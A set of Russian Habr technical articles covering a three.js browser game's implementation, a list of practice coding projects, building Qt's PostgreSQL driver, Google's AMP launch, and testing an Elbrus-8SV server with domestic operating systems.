rad * Math.sin((Math.PI / numb) + (i * ((2 * Math.PI)/ numb))),
rad * Math.cos((Math.PI / numb) + (i * ((2 * Math.PI)/ numb))),
0
);
vert.push(vec3);
}
return vert;
}
function fillVert (vert) {
var nFilled, nUnfilled, result = [];
nFilled = vert.length;
nUnfilled = n/nFilled;
vert.forEach(function (el, i, arr) {
var nextInd = i === arr.length - 1 ? 0 : i + 1;
var vec = el.clone().sub(arr[nextInd]);
for (var j = 0; j < nUnfilled; j++) {
result.push(vec.clone().multiplyScalar(1/nUnfilled).add(el));
}
});
return result;
}
// set morph targets
[60, 5, 4, 3, 2].forEach(function (el, i, arr) {
var vert,
vertOuter,
vertInner;
vertOuter = fillVert(setMainVert(circumradius, el).slice(0)).slice(0);
vertInner = fillVert(setMainVert(innerradius, el).slice(0)).slice(0);
vert = vertOuter.concat(vertInner);
geometry.morphTargets.push({name: 'vert'+i, vertices: vert});
if (i === 0) {
geometry.vertices = vert.slice(0);
}
});
// Generate the faces of the n-gon.
for (x = 0; x < n; x++) {
var next = x === n - 1 ? 0 : x + 1;
geometry.faces.push(new THREE.Face3(x, next, x + n));
geometry.faces.push(new THREE.Face3(x + n, next, next + n));
}
return geometry;
};
```
По этой же причине модели бонусов импортируются в виде двух .obj объектов, заранее измененных определенным образом в редакторе (как это необходимо для ожидаемой анимации превращения (трансформации). Мы использовали для этого 3ds Max и blender.
С моделью губ есть один интересный момент. В обычном состоянии губы анимируются (приоткрываются и закрываются). При этом происходит просто изменение силы влияния вершин из двух наборов вершин (открытых и закрытых губ). Согласно [документации three.js](https://github.com/mrdoob/three.js/blob/master/src/objects/MorphAnimMesh.js), значение `morphTargetInfluence` каждого набора вершин должно находиться в диапазоне [0, 1]. При этом при использовании силы больше 1 происходит эффект некоторого «гипервлияния». Так, например, если применить morphTargetInfluence со значением 5 к набору вершин для модели кота, модель как будто «вывернется наизнанку». У модели губ это выглядит как «открытие рта».
На этом поведении основан эффект поглощения бонуса «губы», что позволило избежать импорта дополнительной внешней модели.
Glitch-эффект (или эффект сломанного телевизора), используемый для анимации конца игры представляет собой пример постпроцессинга с использованием [шейдеров](http://www.airtightinteractive.com/demos/js/badtvshader/).
Создаем эффект
**Код**
```
DT.effectComposer = new THREE.EffectComposer( DT.renderer );
DT.effectComposer.addPass( new THREE.RenderPass( DT.scene, DT.splineCamera ) );
DT.effectComposer.on = false;
var badTVParams = {
mute:true,
show: true,
distortion: 3.0,
distortion2: 1.0,
speed: 0.3,
rollSpeed: 0.1
}
var badTVPass = new THREE.ShaderPass( THREE.BadTVShader );
badTVPass.on = false;
badTVPass.renderToScreen = true;
DT.effectComposer.addPass(badTVPass);
```
И рендерим его каждый кадр
**Код**
```
DT.$document.on('update', function (e, data) {
if (DT.effectComposer.on) {
badTVPass.uniforms[ "distortion" ].value = badTVParams.distortion;
badTVPass.uniforms[ "distortion2" ].value = badTVParams.distortion2;
badTVPass.uniforms[ "speed" ].value = badTVParams.speed;
badTVPass.uniforms[ "rollSpeed" ].value = badTVParams.rollSpeed;
DT.effectComposer.render();
badTVParams.distortion+=0.15;
badTVParams.distortion2+=0.05;
badTVParams.speed+=0.015;
badTVParams.rollSpeed+=0.005;
};
});
```
Эффект включается после возникновения события `‘gameOver’`
**Код**
```
DT.$document.on('gameOver', function (e, data) {
DT.effectComposer.on = true;
});
```
И сбрасывается при соответствующем событии
**Код**
```
DT.$document.on('resetGame', function (e, data) {
DT.effectComposer.on = false;
badTVParams = {
distortion: 3.0,
distortion2: 1.0,
speed: 0.3,
rollSpeed: 0.1
}
});
```
Использование постпроцессинга значительно увеличивает время отрисовки кадра, поэтому постпроцессинг используется непродолжительное время и в конце игры.
##### Визуализация музыки
Музыка визуализируется пульсацией частиц (пыли), находящихся в игровом пространстве.
Для этого была определена желаемая частота визуализации. Уровень присутствия звука нужной частоты (`DT.audio.valueAudio`) в текущий момент в буфере для визуализации определяется так
**Код**
```
var getFrequencyValue = function(frequency, bufferIndex) {
if (!DT.isAudioCtxSupp) return;
var nyquist = DT.audio.context.sampleRate/2,
index = Math.round(frequency/nyquist * freqDomain[bufferIndex].length);
return freqDomain[bufferIndex][index];
};
var visualize = function(index) {
if (!DT.isAudioCtxSupp) return;
freqDomain[index] = new Uint8Array(analysers[index].frequencyBinCount);
analysers[index].getByteFrequencyData(freqDomain[index]);
DT.audio.valueAudio = getFrequencyValue(DT.audio.frequency[index], index);
};
```
Значение `DT.audio.valueAudio` используется для обновления состояния прозрачности частиц:
**Код**
```
DT.$document.on('update', function (e, data) {
DT.dust.updateMaterial({
isFun: DT.player.isFun,
valueAudio: DT.audio.valueAudio,
color: DT.player.sphere.material.color
});
});
```
Сам метод `updateMaterial`:
**Код**
```
DT.Dust.prototype.updateMaterial = function (options) {
if (!this.material.visible) {
this.material.visible = true;
}
this.material.color = options.isFun ? options.color : new THREE.Color().setRGB(1,0,0);
this.material.opacity = 0.5 + options.valueAudio/255;
return this;
};
```
Подробнее о WebAudio API можно почитать [здесь](http://html5.by/blog/audio/).
##### Анимация favicon
Favicon в digital trip по умолчанию представляет собой черно-белое изображение кота.
В режиме замедления (режим котика) иконка начинает менять цвет.
Если в Firefox можно поставить
```
```
то в Chrome такой способ не пройдет. Для Chrome была использована динамическая подмена png-изображения favicon.
Общая реализация выглядит так:
**Код**
```
var favicon = document.getElementsByTagName('link')[1],
giffav = document.createElement('link'),
head = document.getElementsByTagName('head')[0],
isChrome = navigator.userAgent.indexOf('Chrome') !== -1;
giffav.setAttribute('rel', 'icon');
giffav.setAttribute('type', 'image/gif');
giffav.setAttribute('href', 'img/fav.gif');
DT.$document.on('update', function (e, data) {
if (isChrome && DT.player.isFun && DT.animate.id % 10 === 0) favicon.setAttribute('href', 'img/' + (DT.animate.id % 18 + 1) + '.png');
});
DT.$document.on('showFun', function (e, data) {
if (!data.isFun) {
if (isChrome) {
favicon.setAttribute('href', 'img/0.png');
} else {
$(giffav).remove();
head.appendChild(favicon);
}
} else {
if (!isChrome) {
$(favicon).remove();
head.appendChild(giffav);
}
}
});
```
`‘update’` – событие обновления состояния объектов, `‘showFun’` – событие о начале режима котика (замедления), `DT.player.isFun` — сотояние режима котика, `DT.animate.id` – номер текущего фрейма (кадра). Всего возможных вариантов favicon — 19. К сожалению, в Safari анимации favicon нет.
#### Мобильный контроллер
В игре реализована возможность управления мобильным устройством.
Для подключения мобильного устройства в качестве контроллера необходимо перейти по ссылке или воспользоваться QR кодом, который генерируется [плагином](http://larsjung.de/qrcode/).
Управление осуществляется при помощи гироскопа и события `‘deviceOrientation’`. В случае отсутствия гироскопа или доступа к нему используется управление нажатием на кнопки управления.
Fallback и обработчик:
**Код**
```
// Technique from Juriy Zaytsev
// http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/
var eventSupported = function( eventName ) {
var el = document.createElement("div");
eventName = "on" + eventName;
var isSupported = (eventName in el);
if ( !isSupported ) {
el.setAttribute(eventName, "return;");
isSupported = typeof el[eventName] === "function";
}
el = null;
return isSupported;
};
// device orientation
function orientationTest (event) {
if (!turned && event.gamma) turned = true;
window.removeEventListener('deviceorientation', orientationTest, false);
window.removeEventListener('MozOrientation', orientationTest, false);
}
window.addEventListener('deviceorientation', orientationTest, false);
window.addEventListener('MozOrientation', orientationTest, false);
setTimeout(function () {
if (!turned) {
$("#btnLeft").on('touchstart',function () {
socket.emit("click", {"click":"toTheLeft"});
});
$("#btnRight").on('touchstart',function () {
socket.emit("click", {"click":"toTheRight"});
});
$status.html("push buttons to control");
} else {
$status.html("tilt your device to control");
}
if (!eventSupported('touchstart')) {
$status.html("sorry your device not supported");
}
}, 1000);
```
Проверка поддержки `'deviceOrientation'` реализована через `setTimeout`, а не аналогично `eventSupported`, так как существуют устройства (например, HTC One V), которые поддерживают `'deviceOrientation'` номинально, но само событие не возникает. Фактически мы в течение какого-то интервала времени ждем возникновения события (которое точно должно возникнуть), и если оно не возникает, делаем вывод, что событие не поддерживается. Такая проверка фактически является хаком.
Для некоторых телефонов (например HTC c Windows Phone) стандартный браузер (mobile IE) не поддерживает событие `'touchstart'`, но поддерживает более высокоуровневое событие `‘click’`. Мы отказались от поддержки таких девайсов, так как время отклика при использовании события `‘click’` (300 мс) намного больше, чем у `'touchstart'` и обеспечить необходимый уровень отклика для контроля с помощью таких устройств не удается.
Кстати, пользователи некоторых моделей Macbook Pro c HDD могут использовать свой ноутбук в таком режиме, так как в нем есть гироскоп.
Для пользователей устройств с ОС Android 4.0 и выше есть небольшой бонус — обратный отклик контроллера в виде вибрации, если столкнуться с камнем (вибрация 100 мс) или подобрать монетку (вибрация 10 мс). Для этого используется Vibration API (необходим обновленный стандартный браузер, мобильный Chrome или Firefox). Подробнее о Vibration API можно почитать [здесь](http://html5.by/blog/vibration-api/).
При управлении наклоном устройства пользователь может долгое время не касаться экрана, устройство блокируется, экран гаснет и браузер перестает отправлять данные от гироскопа. Для предотвращения такого поведения был использован хак, который представляет собой аудиопетлю: 10-секундный беззвучный трек, который проигрывается циклично и запускается при нажатии кнопок: старт, рестарт, пауза.
```
```
```
$('#btnSphere').on('touchstart',function () {
socket.emit('click', {'click':'pause'});
$('#audioloop').trigger('play');
});
```
При этом на устройствах с ОС Android аудиопетля может быть 1-секундной, а на устройствах с iOS требуется более длинный трек. В iOS браузер Safari не проигрывает трек бесконечно, число циклов — около 100, поэтому была выбрана длина трека в 10 секунд.
#### Управление веб-камерой
Управление веб-камерой основано на методе `getUserMedia()`.
Мы рассмотрели несколько примеров управления при помощи веб-камеры. Один из вариантов — нажатие виртуальных клавиш, как в этом [примере](http://stemkoski.github.io/Three.js/Webcam-Motion-Detection-Texture.html).
От него мы отказались, так как он оказался недостаточно точным.
Другой вариант — использовать угол наклона головы и [библиотеку headtrackr.js](https://github.com/auduno/headtrackr/). Он оказался более интересным и помогал размять шею и снять напряжение, однако угол определялся не всегда правильно. В итоге для управления при помощи веб-камеры используется положение головы и ее движение относительно середины экрана (также при помощи headtrackr.js).
Такой способ управления на порядок сложнее клавиатуры или мобильного, поэтому скорость игры в режиме управления веб-камерой снижена.
#### Back-end
Сервер игры работает на node.js. Используются модули express, socket.io, mongoose, node-dogecoin и hookshot.
Тут все достаточно тривиально: socket.io осуществляет транспорт, express oтвечает за маршруты и статику, а mongoose сохраняет клиентов в базу данных. Hookshot использован для быстрого разворачивания изменений на VPS.
```
app.use('/webhook', hookshot('refs/heads/master', 'git pull'));
```
Наиболее интересным в back-end’е является взаимодействие с dogecoin демоном, развернутым на этом же сервере. Это полноценный dogecoin кошелек, взаимодействие с которым осуществляется при помощи модуля node-dogecoin примерно следующим образом:
```
dogecoin.exec('getbalance', function(err, balance) {
console.log(err, balance);
});
```
Кроме того, сервер осуществляет проверку клиента на предмет мошенничества. Здесь проверяется набранное клиентом число монет и сравнивается с максимальным числом монет, которое можно набрать за время данной сессии.
**Код**
```
var checkCoins = function (timeStart, timeEnd, coinsCollect) {
var time = (timeEnd - timeStart)/1000,
maxCoins = calcMaxCoins(time);
// if client recieve more coins than it may
return coinsCollect <= maxCoins;
};
var calcMaxCoins = function (time) {
var speedStart = 1/60,
acceleration = 1/2500,
maxPath = 0,
maxCoins = 0,
t = 0.25, // coins position in the tube
dt = 0.004, // coins position offset
n = 10; // number of coins in a row
maxPath = (speedStart + acceleration * Math.sqrt(time * 60)) * time;
maxCoins = Math.floor(maxPath / (t + dt * (n - 1)) * n)/10;
console.log('time:' + time, 'maxCoins:' + maxCoins, 'maxPath:' + maxPath);
return maxCoins;
};
```
Также реализована проверка числа платежей с одного IP, c одним UID (cookie) и время между двумя ближайшими играми с одного IP.
**Код**
```
var checkClient = function (clients, currentClient) {
console.log("Handle clients from Array[" + clients.length + "]")
var IPpaymentsCounter = 0,
UIDpaymentsCounter = 0,
IPtimeCounter = 60 * 1000,
checkup = null;
clients.forEach(function(client, i) {
if (client.clientIp === currentClient.clientIp && client.paymentRequest) {
IPpaymentsCounter += client.paymentRequest;
if (currentClient.timeEnd && currentClient.cientId !== client.cientId) {
Math.min(IPtimeCounter, currentClient.timeEnd - client.timeEnd);
}
}
if (client.cookieUID === currentClient.cookieUID && client.paymentRequest) {
UIDpaymentsCounter += client.paymentRequest;
}
// console.log("handle client #" + i);
});
console.log('IPtimeCounter', IPtimeCounter);
if (currentClient.checkup === false ||
currentClient.maxCoinsCheck === false ||
IPpaymentsCounter > 1000 ||
UIDpaymentsCounter > 100 ||
IPtimeCounter < 20 * 1000) {
checkup = false;
} else {
checkup = true;
}
return checkup;
};
```
Это простая защита, основанная на принципе целесообразности.
#### Заключение
В этой статье я перечислил наиболее интересные моменты, с которыми я столкнулся во время разработки. Надеюсь, эта информация будет полезной.
Вся разработка велась на GitHub, код можно посмотреть [здесь](https://github.com/htdt/digital_trip).
Ссылки: [проект на github](https://github.com/htdt/digital_trip), [описание игры](http://hotdot.pro/ru/portfolio/trip/), [игра](http://dt.htdt.ru/)
Используемые инструменты и библиотеки:
* [jQuery](http://jquery.com/)
+ [jquery.qrcode](http://larsjung.de/qrcode/)
* [three.js](http://threejs.org/)
+ Detector
+ CurveExtras
+ OBJLoader
+ Stats
* [threex](http://www.threejsgames.com/extensions/) (набор компонентов)
+ windowresize
+ rendererstats
+ fullscreen
* [headtrackr.js](https://github.com/auduno/headtrackr/)
* [yepnope.js](http://yepnopejs.com/)
* [socket.io](http://socket.io/)
* [fireworks](http://jeromeetienne.github.io/fireworks.js/) (система частиц)
* [Web Audio BufferLoader](http://www.html5rocks.com/en/tutorials/webaudio/intro/#toc-abstract) | https://habr.com/ru/post/230323/ | null | ru | null |
# Еще список проектов, на чем потренироваться
*«Мастер совершает больше ошибок, чем новичок — попыток»*
Прошлый [список тренировочных проектов](https://habr.com/company/edison/blog/344006/) набрал 50к прочтений и 600 добавлений в избранное. Вот еще один список интересных проектов для практики, для тех кто хочет добавки.
### 1. Текстовый редактор
Цель текстового редактора — уменьшить усилия пользователей, пытающихся преобразовать их форматирование как валидную разметку HTML. Хороший текстовый редактор позволяет пользователям форматировать текст по-разному.
В какой-то момент каждый использовал текстовый редактор. Так почему бы не [создать его самостоятельно](https://codeburst.io/lets-build-a-customizable-rich-text-editor-with-slate-and-react-beefd5d441f2)?
### 2. Клон Reddit
[Reddit](https://en.wikipedia.org/wiki/Reddit) — это агрегация социальных новостей, рейтинг веб-контента и сайт для обсуждений.
Reddit — занимает большую часть моего времени, но я продолжаю зависать на нем. Создание клона Reddit — это эффективный способ изучения программирования (при одновременном просмотре Reddit).
Reddit предоставляет вам очень богатый [API](https://www.reddit.com/dev/api/). Не упускайте какие-либо функции и не делайте как попало. В реальном мире с клиентами и покупателями, вы не сможете работать как попало, или вы быстро потеряете работу.
Умные клиенты сразу же догадаются, что работа выполняется плохо, и найдут кого-то другого.
*[Reddit API](https://www.reddit.com/dev/api/)*
### 3. Публикация пакета NPM с открытым исходным кодом
Если вы пишите код на Javascript, скорее всего, вы используете менеджер пакетов. Менеджер пакетов позволяет повторно использовать существующий код, который написали и опубликовали другие люди.
Понимание полного цикла разработки пакета даст очень хороший опыт. Есть много вещей, которые вам нужно знать при публикации кода. Вам нужно подумать о безопасности, семантическом управлении версиями, масштабируемости, соглашениях об именах и обслуживании.
Пакет может быть любым. Если у вас нет идеи, создайте свой собственный Lodash и опубликуйте его.
*Lodash: [lodash.com](https://lodash.com)*
Наличие чего-то, что вы сделали в Интернете, ставит вас на 10% выше других. [Вот некоторые полезные ресурсы](https://laracasts.com/series/how-to-manage-an-open-source-project) об открытых источниках и пакетах.
### 4. Учебный план freeCodeCamp
*[FCC curriculum](https://learn.freecodecamp.org/)*
freeCodecamp собрал очень [всеобъемлющий курс по программированию](https://learn.freecodecamp.org/).
freeCodeCamp — это некоммерческая организация. Она состоит из интерактивной обучающей веб-платформы, онлайн-форума сообщества, чатов, публикаций Medium и местных организаций, которые намереваются сделать доступным для всех изучение веб-разработки.
Вы будете более чем квалифицированы для своей первой работы, если вам удастся завершить весь курс.
### 5. Создайте HTTP-сервер с нуля
Протокол HTTP является одним из основных протоколов, по которым контент попадает в Интернете. HTTP-серверы используются для обслуживания статического контента, такого как HTML, CSS и JS.
Возможность реализовать протокол HTTP с нуля расширит ваши знания о том, как все взаимодействует.
Например, если вы используете NodeJs, то вы знаете что Express предоставляет HTTP-сервер.
Для справки, посмотрите, сможете ли вы:
* Настроить сервер без использования каких-либо библиотек
* Сервер должен обслуживать содержимое HTML, CSS и JS.
* Внедрение маршрутизатора с нуля
* Следить за изменениями и обновлять сервер
Если вы не знаете с чего, воспользуйтесь [Go lang](https://golang.org/) и попытайтесь создать HTTP-сервер [Caddy](https://github.com/mholt/caddy) с нуля.
### 6. Десктопное приложение для заметок
Мы все делаем заметки, не так ли?
Давайте создадим приложение для заметок. Приложению необходимо сохранять заметки и синхронизировать их с базой данных. Создайте нативное приложение с помощью Electron, Swift или чего-то еще, что вам нравится, и что подходит для вашей системы.
Не стесняйтесь сочетать это с первым челленджом(текстовый редактор).
В качестве бонуса попробуйте синхронизировать десктопную версию с веб-версией.
### 7. Подкасты (клон Overcast)
Кто не слушает подкасты?
Создайте веб-приложение со следующими функциями:
* Завести аккаунт
* Поиск подкастов
* Оценивать и подписываться на подкасты
* Остановка и воспроизведение, изменение скорости, функции вперед и назад на 30 секунд.
В качестве отправной точки попробуйте использовать iTunes API. Если вы знаете какие-либо другие ресурсы, напишите в комментариях.
*[affiliate.itunes.apple.com/resources/documentation/itunes-store-web-service-search-api](https://affiliate.itunes.apple.com/resources/documentation/itunes-store-web-service-search-api/)*
### 8. Захват экрана
Привет! Я снимаю свой экран прямо сейчас!
Создайте десктопное или веб-приложение, которое позволит вам захватить ваш экран и сохранить клип как `.gif`
Вот [несколько советов](https://w3c.github.io/mediacapture-screen-share/), как добиться этого.
---
*Перевод выполнен при поддержке компании [EDISON Software](https://www.edsd.com//), которая профессионально занимается [разработкой приложений и сайтов на PHP](https://www.edsd.com/updates-and-maintenance-for-php-sites) для крупных заказчиков, а так же [разработкой облачных сервисов и мобильных приложений на Java](https://www.edsd.com/cloud-services-and-mobile-applications-in-java).* | https://habr.com/ru/post/430126/ | null | ru | null |
# Qt сборка драйвера для работы с PostgreSQL (Windows)
**Небольшое лирическое отступление:
Написать эту заметку меня сподвигло наличие в интернете огромного количества инструкций которые просто цитируют документацию, а реально не работают. Т.к. я работаю с Qt время от времени, то не знаю как обстоят дела с данной проблемой в Qt5.**
#### Проблема
В установку по умолчанию (по крайней мере для версии 4.8.4) драйвер для работы с Postgres не входит.
Официальная документация предлагает собирать его очень простым способом <http://qt-project.org/doc/qt-4.8/sql-driver.html#qpsql>, но если вы скачивали уже собранное Qt, то будете изрядно озадачены тем, что сборка проходит без ошибок, но ничего не работает.
#### Qt и SQL
Здесь следует слегка углубиться в особенности работы с sql-драйверами в Qt. Возможно два варианта их реализации:
* встраивание драйвера в библиотеку QtSql
* компиляция драйвера как plugin
При сборке Qt(<http://doc.qt.digia.com/4.7/configure-options.html>) за это отвечают следующие опции
* -qt-sql- Enable a SQL in the Qt Library.
* -plugin-sql- Enable SQL as a plugin to be linked to at run time.
Посмотреть какие драйверы в вашей инсталляции собраны как plugin'ы можно вот по этому пути:
`%QTDIR%\plugins\sqldrivers`
#### Решение
А теперь переходим к сути проблемы и её простому решению.
Насколько я понимаю, по-умолчанию, SQL драйверы собираются статически, т.е. для линковки с QtSql. Поэтому в результате сборки по документации у нас получаются только \*.а файлы, которые к существующей QtSql4.dll ну никак не прицепишь. Выход который часто встречается в сети — пересобрать Qt целиком включив нужные драйверы при конфигурации. В принципе вариант нормальный, но вот только очень долгий.
Естественно мы можем вручную поправить make-файлы и собрать нужный драйвер как plugin, но это занятие неблагодарное — пусть компьютер делает это за нас.
Далее предполагается, что PostgreSQL с нужными библиотеками и заголовочными файлами установлен в C:\psql (я обычно ставлю его в Program Files, а C:\psql это junction).
Ну а дальше всё быстро и просто:
1. Запускаем командную строку Qt (Пуск->Программы->Qt by Digia...->Qt x.x.x Command Promt)
2. Конфигурируем исходники и включаем нужный драйвер как plugin
`configure -I "c:\psql\include" -L "c:\psql\lib" -plugin-sql-psql`
3. `cd src\plugins\sqldrivers\psql`
4. `qmake psql.pro`
5. `make debug`
6. `make release`
Проверяем %QTDIR%\plugins\sqldrivers. Бинго! | https://habr.com/ru/post/173283/ | null | ru | null |
# Google рассказал о новой инициативе для ускорения работы веб-страниц на мобильных устройствах: Accelerated Mobile Pages
Сегодня в официальном блоге Google [появился](https://googleblog.blogspot.com/2015/10/introducing-accelerated-mobile-pages.html) анонс новой открытой инициативы поискового гиганта [Accelerated Mobile Pages](https://www.ampproject.org/) (AMP), предназначенной для ускорения работы веб-страниц на мобильных устройствах. Речь идёт об использовании веб-программистами специальной библиотеки AMP HTML, код которой в статусе технического превью доступен на [github](https://github.com/ampproject/amphtml). Неофициальным символом библиотеки является значок молнии "⚡", подразумевая тем самым скорость её работы на мобильных устройствах.
AMP HTML считает, что производительность веб-страницы существенно зависит от числа JavaScript-кода разнообразных библиотек, реализующих различную динамическую функциональность. Вместо явного или неявного использования JavaScript для таких элементов как, к примеру, различные голосовалки или видео, разработчикам предлагается использовать [Web Components](http://webcomponents.org/), специально разработанные для AMP HTML. Список таких компонентов можно посмотреть [здесь](https://github.com/ampproject/amphtml/blob/master/builtins/README.md). JS-код этих компонентов не должен сказываться на производительности веб-страницы.
Сейчас библиотека AMP HTML содержит всего 4 компонента и специальный валидатор, при помощи которого можно убедиться создана ли страница по стандарту AMP. Если к URL добавить "#development=1", то библиотека выполнит ряд assert-методов, чтобы выяснить подходит ли разметка страницы принципам AMP, и выведет результаты в консоль браузера. Простейшая веб-страница должна выглядеть примерно следующим образом:
```
body {opacity: 0}body {opacity: 1}
Hello World!
```
Для примера готовых AMP-документов Google предлагает попробовать свой поиск — зайти на него с мобильного устройства можно по этому URL: [g.co/ampdemo](http://g.co/ampdemo). Оценить как это выглядит визуально можно при помощи gif-анимации:
Есть вариант [документа](https://www.ampproject.org/how-it-works/) и попроще: в нём как раз идёт речь об идеологии AMP. | https://habr.com/ru/post/384995/ | null | ru | null |
# «Эльбрус-8СВ» в дата-центре: реально ли сделать «импортозамещающий» сервер
Привет, Хабр! Меня зовут Максим, я работаю тестировщиком оборудования в [Selectel Lab](https://slc.tl/pdoqy). Кажется, сейчас как никогда важно иметь план Б, поэтому мы взяли на изучение процессор «Эльбрус-8СВ». Он шел в комплекте с материнской платой «2Э8СВ-EATX» производства компании МЦСТ.
Процессор впаян в плату, и возможность апгрейда материнской платы ограничена — точнее ее нет. Под катом рассказываю, как мы собирали и тестировали сервер на отечественном процессоре.
*Вот процессор еще не прикрыт радиатором*
Собираем тестовый конфиг
------------------------
К нам в лабораторию приехала исключительно плата с процессором — без радиаторов, вентиляторов и корпуса. Поэтому мы собирали кастомный сервер на «Эльбрусе».
В итоге тестовый конфиг выглядел так:
Корпус: 2U NVMe
Процессор: «Эльбрус-8СВ»
Матплата: «2Э8СВ-EATX»
RAM: 8 шт. DDR4 32 ГБ 2933 МГц ECC Reg DIMM (MTA36ASF4G72PZ-2G9J3) Micron
~~HBA NVMe: 1 шт. AOC-SLG3-4E4T~~
~~NVMe SSD U2: 1 шт. Micron 7300~~
SSD: 1 шт. Micron 5300 Pro 1 ТБ
HDD: 1 шт. ST4000NM0035 Seagate 4 ТБ
~~SSD M2 — 1шт 970 EVO Plus NVMe M.2~~
SSD: Samsung 480 ГБ MZ7LH480HAHQ
SSD: Intel 240 ГБ S4510
Для отвода тепла подошли радиаторы Intel BXSTS100A c активным охлаждением. Корпус взяли на два юнита от [Supermicro 825TQ-R720/R740](https://www.supermicro.com/products/chassis/2U/825/SC825TQ-R720LPB), так как изначально мы хотели добавить в конфиг GPU и NVMe. Правда, план не увенчался успехом.
*Материнская плата от МЦСТ*
Для тестирования показателей IOPS мы подключили HDD- и SSD-диски. «Под руку» попались ST4000NM0035 Seagate 4 ТБ и Micron 5300 Pro 1 ТБ. Эти диски проходили у нас испытания по тестовым кейсам, поэтому были выбраны для сравнения показателей с другими тестовыми конфигами.
В надежде, что мы сможем протестировать SSD NVMe-накопители, подключили PCIe NVMe Host Bus Adapter AOC-SLG3-4E4T, но система NVMe-диски не увидела. То же самое случилось с SSD Samsung 970 EVO Plus NVMe M.2. Речь здесь об операционной системе «Эльбрус». Как работает сборка на других ОС, я опишу ниже.
Установка операционной системы
------------------------------
Сначала решили установить нативную ОС «Эльбрус» на архитектуре e2k. Система ставится как с USB-носителя, так и c DVD, также есть возможность установки по сети (PXE).
Так называемого BIOS в системе нет, но есть его аналог — «Загрузчик», или boot. По факту это оболочка, принимающая команды и параметры через командную строку.
Для работы в дата-центре это минус. Обычно первичная настройка платформы производится в BIOS, в том числе и Baseboard Management Controller (BMC). Операционная система устанавливается уже позже. Грубо говоря, при заказе [выделенного сервера](https://slc.tl/jklr1). В случае сервера на «Эльбрусе», чтобы настроить BMC, для начала нужно установить «родную» ОС или другую систему, подходящую под архитектуру e2k.
[](https://slc.tl/jklr1)
А теперь представьте: в дата-центр поступило 100 серверов на «Эльбрусе». Как будем настраивать BMC? Правильно, сначала будем ставить ОС с флешки на каждый сервер и только потом настраивать BMC. Уйдет, мягко говоря, много времени. Есть конечно вариант с PXE-сервером, что немного облегчит задачу, но BMC придется настраивать все равно «руками» через ОС.
Остринки добавляет то, что мануалов по настройке BMC нет. И тут начинаются «танцы с бубном».
Как я писал выше, настройка осуществляется только после установки ОС. Все из-за того, что в системе нет BIOS и на данной плате не реализован «мост» между интерфейсом BMC и «Загрузчиком» (аналогом BIOS). Подключение ноутбука напрямую в Ethernet-порт BMC результатов не дало… Достаю второй бубен.
После консультаций со специалистами МЦСТ получилось настроить BMC. Для этого я соединил порты BMC и eth0 перемычкой патч-кордом, поднял DHCP-сервер на интерфейсе eth0 и указал пул из одного нужного нам IP-адреса. После этого BMC получил нужный нам адрес, а у нас появился доступ к веб-интерфейсу BMC.
Настройку BMC специалист дата-центра может производить только с ноутбука непосредственно в серверной, что не очень удобно. Работу системных инженеров с серверами мы стараемся максимально автоматизировать — так мы готовим серверы гораздо быстрее и исключаем возможные человеческие ошибки.
Настройка сети
--------------
Настройка сети схожа с настройкой в других Linux-системах.
Пример настройки файла конфигурации:
```
/etc/sysconfig/network-devices/ifconfig.eth1/ipv4
DEVICE=eth1
TYPE=Ethernet
CHECK_LINK=yes
ONBOOT=yes
USERCTL=no
PEERDNS=no
SERVICE=ipv4-static
IP=192.168.1.135
BROADCAST=192.168.1.255
PREFIX=24
GATEWAY=192.168.1.1
```
Обзор операционных систем для e2k
---------------------------------
Перед следующим блоком сделаем отступление про подходящие операционные системы. На данный момент есть четыре операционных системы, поддерживающие архитектуру e2k. Мы попробовали установить все. Каждая требует определенных «танцев с бубнами».
**ОС «Эльбрус»**. Установилась с USB, число программных пакетов — 1 256 шт., GUI неприветливый. Сетевой репозиторий отсутствует, только локальный. Тестовой версии ОС не предусмотрено — в комплекте с материнской платой и процессором не идет.
**ALT Linux.** Установка производилась с USB-носителя, интерфейс приятнее, чем в ОС «Эльбрус», количество пакетов — 17 211 шт. Также ограничено своим [репозиторием](https://drive.google.com/file/d/1HgB-qQ3OuuTANoP93mv8wQDt9JL___yl/view?usp=sharing), но уже имеет гораздо большее количество пакетов для разработки — например, Java, которого нет на ОС «Эльбрус». Также из преимуществ — наличие сетевого репозитория. Для записи на USB в комплекте к ОС идет скрипт.
**Astra Linux 8.1, релиз «Ленинград».** Установка не удалась. Так как служба поддержки у Astra Linux — платная опция, нам не удалось выяснить причины отказа установки.
**ЗОСРВ «Нейтрино».** Дистрибутив ОС нам не предоставили, пояснив, что ЗОСРВ «Нейтрино» и ЗОСРВ «Нейтрино-Э» нечасто применяется на серверах. В отличие от, например, бортового промышленного оборудования, решающего задачи в режиме реального времени. По заявлению производителя архитектуру e2k данная ОС поддерживает.
Программы под ОС «Эльбрус»
--------------------------
Возвращаемся к нашему конфигу. После настройки платформы наконец добрались до самой ОС «Эльбрус». Здесь сразу же столкнулись с тем, что сетевых репозиториев нет и стек скомпилированных программ под архитектуру e2k ограничивается одним DVD-диском, идущим в комплекте с операционной системой. В нашем комплекте оказалось 1 256 программ, со списком можно ознакомиться по [ссылке](https://drive.google.com/file/d/11WYoWZYNjCeBGJzXk0OqEOSnnZs8zA1P/view?usp=sharing). Все, что потребуется сверх этого списка, придется «пересобрать» или написать самим.
Для решения задачи совместимости с ПО для платформы x86 в МЦСТ разработали проприетарный [бинарный транслятор](http://mcst.ru/rtc). Он работает в двух режимах, чем-то напоминающих гипервизор. Первый режим реализован в [Lintel](http://mcst.ru/lintel), второй — в [«RTC»](http://mcst.ru/rtc). Последний работает под управлением уже запущенной операционной системы.
В приложенном списке мы не увидели Docker, Prometheus, Java и еще очень много пакетов, необходимых для нормальной работы сервера в дата-центре. На данный момент на e2k реализована только одна СУБД — PostgreSQL, которая будет работать вне режима бинарной трансляции. Остальные СУБД и ПО, которого нет в комплекте с ОС, можно запустить только через бинарный транслятор. Чтобы перекомпилировать отсутствующие инструменты для «Эльбруса», потребовалась бы целая команда.
Из плюсов — есть необходимые пакеты для разработки ПО, Python, Git, библиотеки и компиляторы от МЦСТ.
Подготовка к тестам
-------------------
Для проведения тестов мы использовали бинарный транслятор приложений «RTC» и дистрибутив Ubuntu 22.04
Существенный минус «RTC»: производительность, которой и так немного, будет ограничена. По тестам из разных источников она падает до 30% в зависимости от ПО.
С дистрибутивом тоже пришлось немного помучиться. После развертывания Ubuntu-server 20.04 x86 возникла проблема с системным временем. Происходит отставание системного времени от реального. Для серверного оборудования это критично. Есть предположение, что это из-за системы бинарной трансляции.
